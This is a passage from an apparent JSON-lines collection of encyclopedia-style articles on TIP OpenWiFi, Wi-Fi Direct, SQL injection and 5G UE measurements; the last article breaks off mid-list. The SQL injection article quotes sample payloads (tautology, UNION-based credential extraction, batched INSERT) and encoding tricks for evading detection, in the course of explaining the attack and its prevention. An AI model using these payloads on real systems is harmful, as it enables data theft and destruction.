OpenWiFi stack to offer commercial solutions. OEMs are expected to offer innovative services that can be accessed via the OpenWiFi cloud controller. Finally, enterprises and service providers will take what OEMs provide to deploy Wi-Fi networks for specific use cases. \n\nTIP's Open Converged Wireless software project group that manages OpenWiFi has noted that it will collaborate and reuse software components from other groups including Wi-Fi Alliance, Wireless Broadband Alliance (WBA), and OpenWRT. An example of this is WBA's OpenRoaming standard that OpenWiFi has adopted. \n\n\n### How do I get started with OpenWiFi?\n\nThe easiest way to start is to purchase a certified TIP OpenWiFi AP and partner with cloud providers who can simplify the deployment. To create custom builds, the OpenWiFi source code is available under TIP's GitHub account. However, use of the code requires OCW membership. \n\nOpenWiFi's official documentation mentions high-level features of the Access Point (AP) and Cloud Software Development Kit (SDK). As on June 2021, the documentation was pretty basic and incomplete, possibly because the project was still very new.\n\nTo contribute to the project, an individual or company needs to become a TIP member. \n\n## Milestones\n\nFeb  \n2021\n\nTIP Board of Directors approve **Open Converged Wireless (OCW)** as a software project group under Telecom Infra Project (TIP). It's described as \"a dedicated open source community for the design, development & testing of converged wireless connectivity systems software for Wi-Fi, switching, and other wireless technologies.\"  \n\nMay  \n2021\n\nTIP announces the launch of **OpenWiFi Release 1.0**. This disaggregated Wi-Fi system is community-developed and open source. At the same time, TIP kicks off lab and field trials of Wi-Fi connectivity solutions based on TIP OpenWiFi. The launch event sees many sponsors and dozens of participants including service providers, software OEMs and hardware ODMs. It's reported that 10+ service providers are trialing OpenWiFi, 5+ ODMs have shipped OpenWiFi-compatible whitebox access points, and 8+ Wi-Fi OEMs are using OpenWiFi to build commercial solutions. \n\nJun  \n2021\n\nNetExperience announces general availability of its platform that can manage TIP OpenWiFi-compatible access points. The platform is available as licensed software or SaaS. The platform has been tested against access points from TP-Link, EdgeCore and CIG. NetExperience claims to be the \"first full Wi-Fi management platform for OpenWiFi\" to come to market.","meta":{"title":"TIP OpenWiFi","href":"tip-openwifi"}}
{"text":"# Wi-Fi Direct\n\n## Summary\n\n\nWi-Fi-Direct is a standard developed by Wi-Fi Alliance so that Wi-Fi devices can connect and communicate with each other directly without using an access point (AP). This is also known as Wi-Fi P2P (Wi-Fi Point-to-Point). This is very useful for direct file transfer, internet sharing, or connecting to a printer. Wi-Fi Direct can communicate with one or more devices simultaneously at typical Wi-Fi speeds.\n\nWi-Fi Direct supports IEEE 802.11 a/b/g/n/ standards.\n\n## Discussion\n\n### Can you explain how Wi-Fi Direct works?\n\nWi-Fi Direct works in two steps: \n\n    + **Device Discovery**: A device first broadcasts a probe request message asking for MAC ID from all nearby devices. This stage is similar to the scanning phase in regular Wi-Fi. All devices that hear this message respond with a unicast message to the sender. Devices alternate between sending out and listening for probe requests, and subsequently their responses.\n    + **Service Discovery**: Now the sender sends a unicast service request message to each device. The receiving devices responds with unicast message with service details.In terms of the states or phases of Wi-Fi Direct, devices go through scan phase (scan the channels), find phase (which includes service discovery), formation phase (group is formed and includes WPS provisioning), and operational phase. Whereas discovery happens on Social channels 1, 6 and 11 in the 2.4GHz band, operation can be in either 2.4 or 5GHz bands. \n\n\n### How many devices can Wi-Fi Direct connect?\n\nA Wi-Fi Direct-certified network can be one-to-one, or one-to-many. The number of devices in a Wi-Fi Direct-certified group network is expected to be smaller than the number supported by traditional standalone access points intended for consumer use. Connection to multiple other devices is an optional feature that will not be supported in all Wi-Fi Direct-certified devices; some devices will only make 1:1 connections. \n\n\n### Can you explain architecture of Wi-Fi Direct?\n\nAs Wi-Fi Direct does not require any AP, the device itself has the capability to function like AP. Wi-Fi Direct devices, aka P2P Devices, communicate by establishing P2P Groups, which are functionally equivalent to traditional Wi-Fi infrastructure networks. The device implementing AP-like functionality in the P2P Group is referred to as the *P2P Group Owner (P2P GO)*, and devices acting as clients are known as *P2P Clients*. P2P GO is sometimes referred to as *Soft AP*. \n\nWi-Direct devices can function as 1:1 and 1:n devices. The shown topology in the diagram explains the scenario of 1:1 and 1:n. In 1:1 scenario, a Wi-Fi Direct device is printing files at a printer. In 1:n scenario, a laptop is sharing files to three other Wi-Fi devices. \n\n\n### Is it possible for Group Owner to connect to Wi-Fi AP?\n\nOnly the P2P GO is allowed to cross-connect the devices in its P2P group to an external network. Wi-Fi Direct does not allow transferring the role of P2P GO within the group. If P2P GO leaves the P2P group, then the group is torn down, and has to re-established. \n\n\n### Can you explain how group formation happens?\n\nGroup formation procedure involves two phases: \n\n    + **Determination of P2P Group Owner**: Two P2P devices negotiate for the role P2P Group Owner based on desire/capabilities. P2P GO role is established at formation or at an application level.\n    + **Provisioning of P2P Group**: P2P group session is established using appropriate credentials. Wi-Fi simple configuration is used to exchange credentials.There are three ways of group formation: Standard, Autonomous and Persistent. In **Standard**, P2P devices discover each other and negotiate who will act as P2P GO. In **Persistent**, devices recall if they've had a previous connection with persistent flag set. If so, GO Negotiation Phase (3-way handshake) is replaced with Invitation Phase (2-way handshake). WPS Provisioning is simplified since stored network credentials are reused. \n\n\n### Can you explain how service discovery happens?\n\nService Discovery process enables Wi-Fi Direct devices to discover each other and the services they support before connecting. For example, a Wi-Fi Direct device could see all compatible devices in the area and then narrow down the list to only devices that allow printing before displaying a list of nearby Wi-Fi Direct-enabled printers. Before establishment of a P2P Group, P2P Devices can exchange queries to discover the set of available services and, based on this, decide whether to continue the group formation or not.\n\n*Generic Advertisement Service (GAS)* as specified by 802.11u is used. GAS is a layer 2 query and response protocol implemented through the use of public action frames, that allows two non-associated 802.11 devices to exchange queries belonging to a higher layer protocol (e.g. a service discovery protocol).\n\n\n### How is security implemented in Wi-Fi Direct?\n\nWi-Fi Direct devices are required to implement Wi-Fi Protected Setup (WPS) to support a secure connection with minimal user intervention. WPS is based on WPA-2 security and uses AES-CCMP as ciphering, and a randomly generated Pre-Shared Key (PSK) for mutual authentication. \n\n\n### Could you explain Wi-Fi Direct's Power Saving Mode?\n\nWi-Fi Direct defines two new power saving mechanisms: \n\n    + **Opportunistic Power Save Protocol**: The Opportunistic Power Save protocol (OPS) allows a P2P Group Owner to opportunistically save power when all its associated clients are sleeping. This protocol has a low implementation complexity but, given the fact that the P2P Group Owner can only save power when all its clients are sleeping, the power savings that can be achieved by the P2P Group Owner are limited.\n    + **Notice of Absence Protocol**: The Notice of Absence (NoA) protocol allows a P2P GO to announce time intervals, referred to as *absence periods*, where P2P Clients are not allowed to access the channel, regardless of whether they are in power save or inactive mode. In this way, a P2P GO can autonomously decide to power down its radio to save energy.\n\n### What's the speed of Wi-Fi Direct?\n\nA Wi-Fi Direct-certified device supports typical Wi-Fi speeds, which can be as high as 250 Mbps. Even at lower speeds, Wi-Fi provides plenty of throughput for transferring multimedia content with ease. The performance of a particular group of Wi-Fi Direct devices depends on whether the devices are 802.11 a, b, g, or n, as well as the particular characteristics of the devices and the physical environment. \n\n\n### Can you relate Wi-Fi Direct to Miracast?\n\nMiracast is a Wi-Fi display certification program announced by Wi-Fi Alliance for seamlessly transferring video between devices. The intersection of wireless connectivity and streamed audio/video content can be termed as *Miracast*. This solution enables seamless mirroring of entire displays across devices or sharing of any type of content that a source could display using Wi-Fi Direct. \n\n\n### Why is the design of Wi-Fi Direct based on infrastructure mode and not ad hoc mode?\n\nMost commercial devices are for infrastructure mode and not ad hoc mode. For easier migration and interworking with legacy devices, Wi-Fi Direct is based on infrastructure mode. Wi-Fi Direct works on the principles similar to that of Wi-Fi AP. Hence, the P2P GO is sometimes also called *Soft AP*. .\n\n\n### Is it sufficient for only one device to be Wi-Fi Direct-certified to form a group?\n\nYes. Only the P2P GO needs to be Wi-Fi Direct-certified. Other group members may be legacy Wi-Fi stations that operate in infrastructure mode. Wi-Fi Direct essentially embeds a software access point for the group owner. The soft AP provides a version of Wi-Fi Protected Setup with its push-button or PIN-based setup. Thus, group members see only an AP. \n\n\n### What are the pros and cons of Wi-Fi Direct?\n\nWi-Fi Direct can connect multiple devices without a Wi-Fi AP. Wi-Fi Direct is portable. No Internet connection is required to transfer files between two devices. Only one device needs to be Wi-Fi Direct-certified and it can assume the role of the group owner. \n\nWi-Fi Direct has some limitations. Not all vendors support it. Connection has to be re-established with other devices every time to form the group. As soon as GO leaves the group, all connections are broken and service stops. The group is formed as a star topology with the GO at the center. Group members cannot talk to each other directly. \n\nProtected by WPA2, Wi-Fi Direct is secure, but applications could use it wrongly and thereby compromise overall security. Devices connect using Wi-Fi Protected Setup (WPS) but implementations that use WPS PIN method of setup are insecure. An analysis from April 2020 of some popular Android applications that use Wi-Fi Direct found 17 security issues. These applications (SHAREit, Xender, Xiaomi Mi Drop, Files by Google, Zapya and SuperBeam) often compromised security in favour of usability. \n\n## Milestones\n\nOct  \n2010\n\nWi-Fi Alliance launches Wi-Fi Direct certification program. Within the same month, Atheros, Broadcom, Intel, Ralink and Realtek announce their first certified products. A month later, *Popular Science* magazine recognizes Wi-Fi Direct as one of the best tech innovations of the year. \n\nOct  \n2011\n\nGoogle announces Wi-Fi Direct support in Android 4.0. \n\nMar  \n2016\n\nSony, LG, Philips and X.VISION implement Wi-Fi Direct on some of their televisions. \n\nJun  \n2017\n\nWith the growing adoption of Software Defined Networking (SDN), Poularakis et al. explore how SDN can be applied to wireless mobile networks. Traditional SDNs are centralized in the network whereas mobile networks require a distributed architecture. They propose a hybrid architecture. In one example, they should how Wi-Fi Direct can also be part of the network. A Wi-Fi Direct smartphone also becomes a virtual switch due to *Open vSwitch* and uses *OpenFlow* protocol.","meta":{"title":"Wi-Fi Direct","href":"wi-fi-direct"}}
{"text":"# SQL Injection\n\n## Summary\n\n\nSQL (Structured Query Language) is a language used to create, update and access data in a database. By carefully crafting SQL commands, a hacker can intentionally cause the application to fail, delete data, steal data or gain unauthorized access. This is what we call SQL injection or **SQL Injection Attack (SQLIA)**. SQL itself is a highly flexible language, which creates opportunities for hackers to acquire sensitive information such as credit card details, user passwords or user IDs. .\n\nThere are various methods and tools to attack an SQL database. This article gives an overview of SQL injection attacks and what hackers aim to achieve. We also cover the types and techniques of SQL injection attacks. We note some possible preventive measures towards more secure database-driven websites.\n\n## Discussion\n\n### Why do we need to worry about SQL injection?\n\nCWE (Common Weakness Enumeration) is a system where all weaknesses and vulnerabilities are categorised concerning a particular system architecture, code, hardware or software. **CWE-89: SQL Injection** notes that any data-rich software is vulnerable to attack when user information is stored in an SQL-based database. An attack can lead to loss of data confidentiality, access control and data integrity. \n\nMany widely adopted databases are based on SQL including Oracle, MySQL, Microsoft SQL Server, PostgreSQL and SQLite. In April 2022, these were in the first, second, third, fourth and tenth positions respectively. SQLIA techniques may slightly differ across databases but all are vulnerable if not properly secured. \n\nIn 2021, the Open Web Security Project (OWASP) tested 94% of applications under study for injection attacks. They found that 19% had at least one of instance of a vulnerability type (called incidence rate). Injection category was the third-most serious risk and includes 33 CWEs. On a ten-point scale, 7+ values for both exploit and impact shows the threat of SQLIA. In the years 2004/2007/2010/2013/2017, injection attacks were in positions 6/2/1/1/1 respectively.  \n\n\n### Could you introduce SQL injection with a few examples?\n\nThe figure illustrates a few examples, each affecting the application in a different way. In all cases, inputs submitted by hackers are directly used to form queries without proper validation.\n\nThe first example possibly represents a user sign-up form where the user is expected to enter first name and last name. Instead, a hacker enters first name that includes a single quote. Since single quote is normally used by developers to enclose values, the extra quote in input causes execution error. The application will not respond correctly to the user. \n\nIn the second example, the hacker submits the string `name' OR 'a'='a` for item name. In the resulting command, `'a'='a'` will match and return all records to the hacker. This is a serious data breach. \n\nIn the third example, using semi-colons, we execute multiple commands, called batched queries. Comment syntax `--` is used to ignore characters after the delete command. This attack results in a serious data loss. \n\n\n### What's the nature of SQL injection attacks?\n\nSQLIA can take many forms: identifying injectable parameters, performing database fingerprinting, determining database schema (table or column names, datatypes), adding/modifying/extracting data, performing denial of service (locking or dropping rows/tables/databases), evading detection, bypassing authentication, executing remote commands, performing privilege escalation, etc. In general, a hacker tries to gather information about the database, uses that information to handcraft attacking commands, and finally execute those commands. \n\nThese attacks can be placed into four categories: \n\n    + **SQL Manipulation**: Modify SQL statements possibly by changing the `WHERE` clause.\n    + **Code Injection**: Insert extra SQL statements after the exploitable SQL statement. This is possible on databases that support multiple SQL requests. Semi-colons typically separate multiple queries. `UNION` statements can be used provided the hacker knows the exact number columns and their data types returned by the exploited statement.\n    + **Function Call Injection**: Insert function calls within the exploited SQL statement. This can not only manipulate data but also make operating system calls.\n    + **Buffer Overflows**: A product of using a function call injection. Hacker exploits a weakness often found on unpatched servers.\n\n### What are the different types of SQL injection attacks?\n\nDifferent types of SQLIA have been documented:  \n\n    + **Boolean-based**: Aka tautology attack. The use of `OR 2 = 2` within the `WHERE` clause makes other conditions in the clause redundant.\n    + **UNION-based**: The `UNION` statements combines the results of separate queries. `' UNION SELECT username, password FROM users--` is an example injection. Where multiple columns have be retrieved within fewer columns, columns can be concatenated.\n    + **Error-based**: Error messages can give information about database type. For example, a query that fails due to a `SUBSTRING` function call suggests that it's probably an Oracle database where the equivalent function is named `SUBSTR`.\n    + **Batch Queries**: Aka piggyback attack. For example on SQL-Server 2005, `; INSERT INTO users VALUES (‘Abubakar’, ‘1234’);#` ends the original statement, appends another statement and comments out any trailing characters with `#` character.\n    + **LIKE-based**: Similar to tautology attack but based on pattern matching using `LIKE` and wildcard operator `%`. An example is `OR username LIKE 'S%'`.\n    + **Stored Procedure**: Hacker executes built-in stored procedures using malicious SQL code injections.\n\n### What's a blind SQL injection?\n\nA hacker typically submits an SQL query and gathers information from the response. Information can come back in the same channel (in-band) or in a separate channel such as email (out-of-band). But in blind SQL injection (aka inferential attack) the hacker obtains useful information even when no data or error message is returned to the hacker. The hacker does this by observing the behaviour. Blind injections can be Boolean-based or time-based.  \n\nWith **Boolean-based attacks**, the hacker sees that true and false evaluations result in different behaviour. He then exploits this, perhaps over many queries, to eventually learn sensitive information such as the administrator's password. \n\nWith **time-based attacks**, the hacker can insert time delays into SQL command execution. These delays can be conditional or unconditional. Due to synchronous processing, these delays affect the HTTP response to the client. Based on the query, the response time gives the hacker clues to what's going on. For example, an observed delay can confirm that an injected condition was true; or adding `SLEEP(1)` to the `WHERE` clause can inform the number of matching records. \n\n\n### What's a second-order SQL injection?\n\nSecond-order SQL injection occurs when the injected inputs don't do immediate damage. They're simply stored in the database as data. When later retrieved, they end up causing malicious executions. Second-order injections are in a way sophisticated because they bypass prevention techniques that're employed when inputs are validated. However, similar stringent validation may be lacking when data is retrieved from the database.  \n\nThe figure shows an example in which a hacker creates a user account with name that hides within it an update command. The system may at best check for length, valid characters and uniqueness of username. But at a later time, when the hacker logs in with this handcrafted username, it executes the update command and changes the administrator password. This effectively gives the hacker much more power to cause serious damage. \n\nSecond-order injections can be used to create tables or functions that can be exploited later when those constructs are triggered. Shared search criteria, website statistics and customer services are some app features that may be exploited to achieve second-order injections. \n\n\n### What evasion techniques do hackers use for advanced SQLIA?\n\nThere are Intrusion Detection Systems (IDSs) and tools to detect and protect against common injections. Hackers have therefore evolved techniques to achieve more sophisticated attacks that basic systems may not detect: \n\n    + **Encoding**: Instead of using plain ASCII characters, injections are URL-encoded. Alternatively, UTF-8 or hexadecimal encoding may be used. For example, `5' OR '5'='5` is encoded as `%35%27%20%4F%52%20%27%35%27%3D%27%35`; or `admin` is encoded as `char(97,100,109,105,110)`.\n    + **White-spacing**: Whitespaces are not significant in SQL. Hackers therefore omit or insert extra whitespaces that may include line feeds, carriage returns and tabs. For example, `OR '5'='5'`, `OR '5'='5'` and `OR'5'='5'` are equivalent.\n    + **Comment**: Using multiline comments, attackers can subvert detection techniques that attempt to match signatures. For example, a `SELECT` query can be written as `SELE/&ast;&ast;/CT` or `/&ast;&ast;/ SELECT/&ast;&ast;/`.\n    + **Capitalization**: Where the database is configured to be case-insensitive, `AND` is same as `anD`.\n    + **Variation**: Techniques in this group include concatenation, variables, and conversions. For example, `'UN'||'ION` is same as `UNION`. A statement is split into multiple variables and combined later for execution.\n\n### Which tools help in detection and prevention of SQLIA?\n\nThe figure show tools to either detect or prevent SQLIA, and their handling of different attack types. A 2017 study noted that SQLCheck, SQLIPA, DB IDS, AMNESIA, SQLDOM and WebSSARI all achieve better than 90% protection. \n\nSQLrand is a proxy server between the web server and the database server. It receives randomized SQL from application and submits standard SQL to the database. All user inputs are treated as non-keywords. AMNESIA does static analysis of application code, constructs a model of valid queries and validates queries at runtime. WebSARRI is another tool that combines static analysis and runtime inspection. \n\nSQLDOM creates strongly-typed classes based on the database schema. These classes are used to generate SQL statements. It’s an object model as it's used with the help of object-oriented languages. SQLCheck focuses on grammar and policy that are created and stored on the web server. User inputs are augmented with metacharacters and then passed to the checker for validation. \n\n\n### What should developers do to protect against SQLIA?\n\nWhile a production system may employ tools to detect and prevent SQLIA, there are some best practices that can developers can adopt to mitigate the possibility of SQLIA in the first place. Give users only limited database privileges. Application code probably never needs to drop or truncate tables. Configure web server properly so that verbose error messages are not shown to users. \n\nNever trust user inputs. Don't rely only on client-side validation since they can be bypassed with curl, postman or similar tools. Do server-side validation. Adopt safe coding practices. Put quotes around input strings. Replace single quote with two single quotes. Where numbers are expected, check that indeed only digits are present. \n\nEven better is to avoid using raw SQL statements formed from raw input strings. Use custom stored procedures and pass user inputs as parameters into these procedures. Many SQL databases support the `PREPARE` statement and pass in user inputs as parameters to such a statement. This avoids the unsafe practice of concatenating raw inputs to form queries. \n\nRead OWASP SQL Injection Prevention Cheat Sheet and OWASP Query Parameterization Cheat Sheet. \n\n## Milestones\n\nDec  \n1998\n\nJeff Forristal (alias rain.forest.puppy) writes about SQL injection in the Phrack magazine. He notes that MS SQL Server 6.5 allows execution of **batch commands** and gives many examples to exploit this. He concludes,\n\n> Don't assume user's input is ok for SQL queries.\n\n2003\n\nAs more and more web applications emerge, there's a need to find loopholes that may endanger the user's security. In this context, *WAVES (Web Application Vulnerability and Error Scanner)* is first introduced. WAVES is a project developed by Hunag et al. to create a platform to assess web application security based on vulnerabilities such as SQL injection and cross-site scripting. \n\n2008\n\nA hacker obtains access to 100 million debit and credit cards by hacking into the Heartland Payment System. As a result, Heartland pays around $140 million in fines and penalties. \n\n2011\n\nMultiple attacks targeting Sony through Sony Pictures, Sony Music Japan and Sony Playstation Network occur. Personal information of 100 million users is leaked, causing a loss of $171 million. The attacks on Sony Pictures and Sony Music Japan used SQL injection. \n\nMar  \n2011\n\nAs many as 47 MySQL databases on Apache web server get hacked. Hackers publicly post usernames, database schemas and passwords that they gathered using **blind SQL injection**. The breach includes hashed passwords of administrative accounts of webmaster, WordPress, root and forums. \n\n2013\n\n**OWASP Top 10** is published stating how injection attacks take top spot among all types of attacks. This top spot is maintained in a subsequent survey in 2017. The report notes that injection attacks are easy while the impact is severe. \n\n2017\n\nIn a survey paper, Alwan and Younis mention two recent types of SQLIA called Fast Flux SQLIA and Compounded SQLIA. The latter is a combination of many attack techniques including DDoS attack, DNS hijacking, Cross-Site Scripting (XSS), and more. \n\nJun  \n2019\n\nLewis of NCC Group shares a proof-of-concept of using **Machine Learning to detect SQLIA** vulnerabilities. They use real-world vulnerability data (though limited in size) and limit their study to only MySQL. They use SVM-Multiclass. In 2021, Erdodi et al. propose using Reinforcement Learning instead with Markov decision process as the model for SQLIA. These are just two examples to illustrate the use of machine learning in SQLIA.\n\n2020\n\nAbikoye et al. use the **Knuth-Morris-Pratt (KMP) string matching algorithm** to detect and prevent SQLIA. Based on syntactic analysis of various types of attacks, parse trees are designed. KMP algorithm is then used to compare user inputs against the known attack patterns.","meta":{"title":"SQL Injection","href":"sql-injection"}}
{"text":"# 5G UE Measurements and Reporting\n\n## Summary\n\n\nMeasurements are essential to determine the health of any cellular system given the current configuration. Measurements help the UE and the network make decisions so that resources are managed better and ultimately quality of service is achieved. Measurements are done by both UE and the network, although this article focuses only on measurements performed by a 5G UE. \n\nTypically, a UE measures downlink signals while network measures uplink signals. However, it's possible for a UE to measure uplink signals sent by other UEs. \n\nRRC manages measurement configuration. Most measurements are executed by Layer 1, although some may be at Layer 2. RRC does filtering on Layer 1 measurements. If filtered measurements meet reporting criteria, they're reported to the network. Some measurements are reported by Layer 1 directly to the network.\n\nWhile UE measures many different signals, the main ones are based on **SSB** and **CSI-RS**.\n\n## Discussion\n\n### What are some acronyms pertaining to 5G UE measurements?\n\nFor convenience we use these acronyms related to measurements in this article: Channel State Information (CSI), Demodulation Reference Signal (DMRS), Reference Signal (RS), Reference Signal Received Power (RSRP), Reference Signal Received Power per Branch (RSRPB), Reference Signal Received Quality (RSRQ), Received Signal Strength Indicator (RSSI), Signal-to-Noise and Interference Ratio (SINR), Synchronization Signal (SS) and Synchronization Signal Block (SSB). \n\n\n### With respect to RRC states, what measurements are done by a 5G UE?\n\nAn essential UE procedure in RRC\\_IDLE is cell selection. In RRC\\_IDLE and RRC\\_INACTIVE, the UE can also do cell reselection. For both these procedures, UE measures RSRP and RSRQ of a cell. \n\nFor cell reselection, if supported and enabled, UE may do **Relaxed Measurements**. This is typically useful when the UE has low mobility or not at the cell edge. \n\nIf configured, a UE in RRC\\_IDLE or RRC\\_INACTIVE may collect measurements and report them later in RRC\\_CONNECTED. This is called **Logged Measurements**. It's related to a feature called *Minimization of Drive Test (MDT)*. \n\nIn RRC\\_CONNECTED, the UE is configured via dedicated signalling to perform intra-frequency or inter-frequency NR measurements, or inter-RAT measurements for E-UTRA or UTRA-FDD frequencies. The network uses these to decide on carrier aggregation, dual connectivity or handover.  \n\n\n### What are some basic facts about 5G UE measurements?\n\nFor downlink channel sounding, 5G NR uses two main downlink signals that a UE measures:\n\n    + **SSB**: Transmitted with a low duty cycle on a limited bandwidth compared to LTE's Cell-Specific Reference Signals (CRS) that's sent on the entire channel bandwidth. SSB measurements are used to determine path loss and average channel quality.\n    + **CSI-RS**: Used for tracking rapidly changing channel conditions to support mobility and beam management.In general, measurements in FR1 are from UE's antenna connector. In FR2, measurements are based on the combined signal from antenna elements mapped to a given receive branch. If UE is using receiver diversity, it reports the maximum value. \n\nAlthough a UE can be configured for measurements early on, measurement reports can be sent to the network only after **AS security activation**. \n\n\n### Which are the main quantities measured by a 5G UE?\n\nWe describe the main UE measurements involving SS:\n\n    + **SS-RSRP**: Average power of resource elements carrying secondary synchronization signals. In addition, resource elements of PBCH-DMRS and CSI-RS can be included.\n    + **SS-RSRPB**: Similar to SS-RSRP but for each antenna connector (FR1) or for each receive branch (FR2). Measurements can include PBCH-DMRS but not CSI-RS.\n    + **SS-RSRQ**: Given N resource blocks within the measurement bandwidth, this is \\(N \\cdot SS{\\text-}RSRP/RSSI\\_{NR\\,Carrier}\\). Both SS-RSRP and NR carrier RSSI are measured over the same resource blocks.\n    + **SS-SINR**: This is SS-RSRP over average noise-plus-interference power. The latter is measured based on RRC configuration or over the same resource elements as SS-RSRP measurement.Equivalent measurements pertaining to CSI-RS are CSI-RSRP, CSI-RSRQ and CSI-SINR. \n\n**RSSI** is average power over certain OFDM symbols in a measurement bandwidth corresponding to channel bandwidth. It includes co-channel serving and non-serving cells, adjacent channel interference, thermal noise, etc. \n\n\n### Which are some feature-specific measurements done by a 5G UE?\n\nMeasurements for inter-RAT include: \n\n    + IEEE 802.11 WLAN RSSI: for handovers to Wi-Fi\n    + Reference Signal Time Difference (RSTD) for E-UTRA: relative timing difference between an E-UTRA cell and the E-UTRA reference cell\n    + E-UTRA RSRP, RSRQ and RS-SINR\n    + UTRA FDD CPICH RSCP, UTRA FDD carrier RSSI and UTRA FDD CPICH Ec/NoMeasurements for MR-DC include: \n\n    + SFN and Frame Timing Difference (SFTD): Measured between PCell and PSCell.Measurements for sidelink channels include: \n\n    + Sidelink RSSI\n    + Sidelink Channel Occupancy Ratio (SL CR)\n    + Sidelink Channel Busy Ratio (SL CBR)\n    + PSBCH-RSRP, PSSCH-RSRP and PSCCH-RSRPMeasurements for UE positioning include:  \n\n    + Timing between a E-UTRA cell and a GNSS-specific reference time\n    + DL PRS-RSRP measured on Positioning Reference Signal (PRS)\n    + DL Reference Signal Time Difference (RSTD) measures the relative time difference between a Transmission Point (TP) and the reference TP\n    + UE Rx–Tx time difference measured per TP\n    + SS Reference Signal Antenna Relative Phase (SS-RSARP)\n\n### What are Cross Link Interference (CLI) measurements?\n\nCLI is a problem in TDD when a base station receiving in the uplink is facing interference from another base station transmitting in the downlink. It can happen across network operators due to out-of-band emissions. CLI can be mitigated by time-synchronization across base stations, that is, they share a common clock, phase reference and frame structure. \n\nEven within the same operator network, CLI can occur since cell neighbours may be using different TDD DL/UL patterns. CLI can be mitigated by gNBs coordinating their configuration over Xn and F1 interfaces. \n\nIf capable, a 5G UE measures and reports CLI-RSSI. These reports can also include SRS-RSRP measurements on Sounding Reference Signal (SRS), which are uplink signals coming from other UEs. This quantifies interference on downlink due to nearby uplink transmissions. Both CLI-RSSI and SRS-RSRP are measured within the active DL BWP. These are applicable only for RRC\\_CONNECTED intra-frequency in TDD mode. \n\nIn EN-DC and NGEN-DC, Secondary Node (SN) configures CLI measurements. In NE-DC, Master Node (MN) does it. In NR-DC, both MN and SN can do this. \n\n\n### What's the difference between 5G NR L1 and L3 measurements?\n\nRSRP, RSRQ, SINR, and RSSI are quantities measured at L1, not L3. We use the term \"L3 measurement\" to imply that L3 does filtering on the values and does the final reporting. Filtering is done to remove the effect of fast fading and ignore short-term variations. Though L1 may collect measurements more often, L3 might report them at a larger configured periodicity. Thus, L3 takes a longer-term view of channel conditions. \n\nTo avoid ping-pong behaviour and unnecessary reporting, L3 manages event-based reporting. It evaluates reporting criteria to decide if a report needs to be sent. Apart from thresholds, such criteria include hysteresis. \n\nBut L1 reports some measurements to quickly react to changing channel conditions. Beam management is an example. These are referred to as L1-RSCP and L1-SINR. L1 reports are part of Channel State Information (CSI).  \n\nCSI-RS measurements and L1 reporting can be periodic, semi-periodic (activated/deactivated by MAC signalling) or aperiodic (triggered by DCI signalling). L1 reporting is on PUCCH (periodic, semi-periodic) or PUSCH (aperiodic, semi-periodic). \n\n\n### What L2 measurements are reported by a 5G UE to the network?\n\nAt Layer 2, there's measurement and reporting of **UL PDCP delay** for packets during the reporting period. Delay is reported at a granularity of 0.1ms and per Data Radio Bearer (DRB). At most one measurement identity per cell group has this quantity configured for reporting. The corresponding measurement object is ignored. \n\nThe delay is in fact queuing delay. It's the time taken to obtain uplink grant from the time packet enters PDCP from upper SAP. It's up to gNB to convert these per-DRB reports to delays at the level of QoS flows. \n\nFor completeness, we note that many more L2 measurements are done on the network side. These are described in TS 38.314 specification. \n\n\n### What's in a typical 5G NR measurement configuration?\n\nA 5G UE is given the following measurement details: \n\n    + **Measurement Objects**: Specifies what is to be measured. For NR and inter-RAT E-UTRA measurements, this may include cell-specific offsets, blacklisted cells to be ignored and whitelisted cells to consider for measurements.\n    + **Reporting Configuration**: Specifies how reporting should be done. This could be periodic or event-triggered.\n    + **Measurement ID**: Identifies how to report measurements of a specific object. This is a many-to-many mapping: a measurement object could have multiple reporting configurations, a reporting configuration could apply to multiple objects. A unique ID is used for each object-to-report-config association. When UE sends a MeasurementReport message, a single ID and related measurements are included in the message.\n    + **Quantity Configuration**: Specifies parameters for layer 3 filtering of measurements. Only after filtering, reporting criteria are evaluated. The formula used is \\(F\\_n = (1–a)\\*F\\_{n-1} + a\\*M\\_n\\), where \\(M\\) is the latest measurement, \\(F\\) is the filtered measurement, and \\(a\\) is based on configured filter coefficient.\n    + **Measurement Gaps**: Periods that the UE may use to perform measurements.\n\n### Which are the event-triggered measurements reported by 5G UE RRC?\n\nEvents are triggered based on thresholds, hysteresis and sometimes offsets. RRC specification defines the following: \n\n    + Event A1: Serving becomes better than threshold\n    + Event A2: Serving becomes worse than threshold\n    + Event A3: Neighbour becomes offset better than SpCell\n    + Event A4: Neighbour becomes better than threshold\n    + Event A5: SpCell becomes worse than threshold1 and neighbour becomes better than threshold2\n    + Event A6: Neighbour becomes offset better than SCell\n    + Event B1: Inter RAT neighbour becomes better than threshold\n    + Event B2: PCell becomes worse than threshold1 and inter RAT neighbour becomes better than threshold2\n    + Event I1: Interference becomes higher than threshold\n    + Event C1: The NR sidelink channel busy ratio is above a threshold\n    + Event C2: The NR sidelink channel busy ratio is below a thresholdOnly the serving cell is relevant for events A1/A2. For other events, consider only whitelisted cells if enabled; else consider any neighbour cell detected based on the measurement object configuration provided it's not in the blacklist. \n\nEvents B1/B2 relate to inter-RAT. They're used in EN-DC deployments as well where they're reported via E-UTRA RRC signalling. \n\n\n### How do I interpret events used in event-triggered measurement reporting?\n\nA1 is typically used to **cancel a handover procedure** since the UE has re-established good coverage on the serving cell. With A2, UE has poor coverage on serving cell. Since neighbour cell measurements are not available with A2, network can initiate a **blind handover**; or provide UE configuration to perform neighbour cell measurements (eg. A3 or A5). \n\nEvents A3 and A6 contain offsets specific to a neighbour cell. Both involve relative measurements, that is, comparing one cell with another. A3 may lead to intra- or inter-frequency handover away from the Special Cell (SpCell). A6 is relevant to carrier aggregation, where a Secondary Cell (SCell) is configured. A6 may not result in a handover but instead **reconfiguration of cell groups** (MCG or SCG). \n\nA4 could trigger a handover but the decision is not based on radio conditions on the serving cell. It could be for other reasons such as **load balancing**. B1 is similar for the inter-RAT case. \n\nA5 can be seen as a combination of A2 and A4, leading to intra- or inter-frequency handover. B2 is similar for the **inter-RAT** case. \n\n\n### Which are the 3GPP specifications relevant to 5G UE measurements?\n\nWe note the following specifications: \n\n    + **TS 37.340**: Multi-connectivity overall description: Stage-2. Specifies measurement model for multi-connectivity operation involving E-UTRA and NR.\n    + **TS 38.133**: Requirements for support of radio resource management. Specifies measurement requirements (including performance requirements), procedures and UE measurement capabilities.\n    + **TS 38.215**: Physical layer measurements. Specifies measurement quantities.\n    + **TS 38.300**: NR and NG-RAN overall description: Stage-2. Specifies measurement model.\n    + **TS 38.304**: User Equipment (UE) procedures in idle mode and in RRC Inactive state. Specifies cell reselection measurement rules and relaxed measurements.\n    + **TS 38.314**: Layer 2 